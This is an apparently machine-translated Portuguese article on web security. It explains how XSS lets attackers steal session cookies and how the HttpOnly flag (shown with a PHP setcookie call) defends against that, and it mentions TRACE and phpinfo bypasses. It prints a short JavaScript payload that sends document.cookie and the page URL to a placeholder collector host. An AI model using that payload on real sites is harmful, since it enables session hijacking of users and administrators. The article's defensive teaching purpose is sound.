Com o surgimento dos serviços www, cada vez mais aplicações passaram a ter estruturas B/S, de modo que uma variedade de serviços web pode ser acessada com apenas um navegador, mas isso também está levando cada vez mais a mais problemas de segurança web. O serviço www depende do protocolo Http, Http é um protocolo sem estado, então, para passar informações entre sessões, é inevitável usar cookies ou sessões e outras tecnologias para marcar o estado do visitante, e seja um cookie ou uma sessão, geralmente é implementado usando cookies (Session é realmente marcada com um token no cookie do navegador, O servidor obtém esse token, verifica a legitimidade e vincula o estado correspondente armazenado no servidor ao navegador), de modo que inevitavelmente foca no cookie de forma segura; enquanto esse cookie for obtido, a identidade de outros pode ser obtida, o que é algo maravilhoso para intrusos, especialmente quando o cookie obtido pertence a uma pessoa de alto privilégio, como um administrador, o dano é ainda maior. Entre vários problemas de segurança web, a vulnerabilidade XSS é particularmente perigosa.
Para aplicações, uma vez que há uma vulnerabilidade XSS, isso significa que outros podem executar scripts JS arbitrários no seu navegador, e se a aplicação for open source ou as funções forem públicas, outros podem usar o Ajax para essas funções, mas o processo costuma ser trabalhoso, especialmente se você quiser obter diretamente a identidade de outra pessoa para navegação casual. Para aplicações não open source, como o fundo da web de alguns sites grandes (uma característica significativa do web2.0 é o grande número de interações, os usuários frequentemente precisam interagir com os administradores em segundo plano, como relatórios de bugs, entrega de informações, etc.), embora possam haver vulnerabilidades de scripting entre sites devido à existência de interação, mas devido à falta de compreensão do histórico, é impossível construir código ajax perfeito para usar, mesmo que você possa usar js para obter o código de fundo e retorná-lo para análise, mas o processo também é complicado e não oculto. Neste momento, é muito eficaz usar a vulnerabilidade xss para obter cookies ou sequestros de sessão, analisar especificamente a autenticação do aplicativo e, em seguida, usar certas técnicas, e até obter permanentemente a identidade da outra parte mesmo que ela saia do programa.
Então, como conseguir sequestro de cookies ou de sessão? No objeto documento do navegador, as informações do cookie são armazenadas, e o cookie pode ser recuperado usando js; desde que você receba esse cookie, pode ter a identidade de outra pessoa. Uma declaração típica de ataque XSS é a seguinte:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Algumas aplicações podem adotar técnicas de vinculação de navegador para resolver esse problema, como vincular cookies ao user-agent do navegador, e considerar o cookie inválido quando for descoberto. Esse método se mostrou ineficaz, pois quando o intruso rouba o cookie, ele deve ter obtido o User-agent ao mesmo tempo. Existe também outro sistema rígido que vincula cookies ao Remote-addr (na verdade, ele está vinculado ao IP, mas alguns programas têm problemas com o método de obtenção do IP, o que também leva à poupa), mas isso traz uma experiência muito ruim para o usuário, mudar IP é algo comum, como trabalho e casa são 2 IPs, então esse método muitas vezes não é adotado. Portanto, ataques baseados em cookies são muito populares atualmente, e é fácil obter o status de administrador do aplicativo em alguns sites da web 2.0.
Como mantemos nossos cookies sensíveis seguros? Por meio da análise acima, cookies gerais são obtidos a partir dos objetos do documento, e só precisamos tornar os cookies sensíveis invisíveis no documento do navegador. Felizmente, os navegadores agora geralmente aceitam um parâmetro chamado HttpOnly ao definir cookies, assim como outros parâmetros como domínio; uma vez que esse HttpOnly está definido, você não verá o cookie no objeto documento do navegador, e o navegador não será afetado de forma alguma ao navegar, pois o cookie será enviado no cabeçalho do navegador (incluindo ajax). Os aplicativos geralmente não operam esses cookies sensíveis no js, usamos HttpOnly para alguns cookies sensíveis e não configuramos alguns cookies que precisam ser operados com js no aplicativo, o que garante a segurança das informações dos cookies e garante o aplicativo. Para mais informações sobre o HttpOnly, veja http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
O cabeçalho para definir cookies no seu navegador é o seguinte:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Tomando o php como exemplo, o suporte para HttpOnly foi adicionado à função Setcookie no php 5.2, por exemplo:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
Você pode definir o cookie abc para HttpOnly, e o documento não será visível para esse cookie. Como a função setcookie é essencialmente um cabeçalho, você também pode usar o cabeçalho para definir HttpOnly. Depois, use document.cookie para ver se esse cookie não está mais disponível. Usamos esse método para proteger o Sessionid, como alguns auth-cookies para autenticação, para que não precisemos nos preocupar com a identidade sendo obtida, o que é de grande importância para alguns programas em segundo plano e webmail para melhorar a segurança. Quando usamos novamente o método de ataque acima, podemos ver que não conseguimos mais obter cookies sensíveis que definimos como HttpOnly.
No entanto, também pode ser visto que o HttpOnly não é onipotente, primeiro, ele não pode resolver o problema do xss, ainda não resiste ao ataque de alguns hackers pacientes, nem pode impedir intrusos de fazerem submissões ajax, e até alguns proxies baseados em xss já apareceram, mas foi possível elevar o limiar dos ataques, pelo menos ataques xss não são concluídos por todos os script kid, e outros métodos de ataque se devem a algumas limitações ambientais e técnicas. Não é tão comum quanto roubar biscoitos.
O HttpOnly também pode explorar algumas vulnerabilidades ou configurar o Bypass, o principal problema é que, desde que você consiga enviar o cabeçalho do cookie pelo navegador. Por exemplo, o ataque Http Trace anterior pode retornar o cookie no seu cabeçalho, e esse ataque pode ser concluído usando ajax ou flash, que também foi corrigido em ajax e flash. Outro exemplo notável de possível burla na configuração ou aplicação é o phpinfo, como você sabe, o phpinfo exibe o cabeçalho http enviado pelo navegador, incluindo as informações de autenticação que protegemos, e essa página frequentemente existe em vários sites; desde que você use ajax para acessar a página phpinfo, retire a parte correspondente ao cabeçalho para obter o cookie. Imperfeições em algumas aplicações também podem levar a vazamento de cabeçalho, que pode ser atacado tanto quanto uma página protegida por verificação básica.
O HttpOnly é melhor suportado no IE 6 e superiores, é amplamente utilizado em aplicações como Hotmail, além de ter alcançado resultados de segurança relativamente bons.
|
Publicado em 03/06/2015 20:57:48
|
|
|
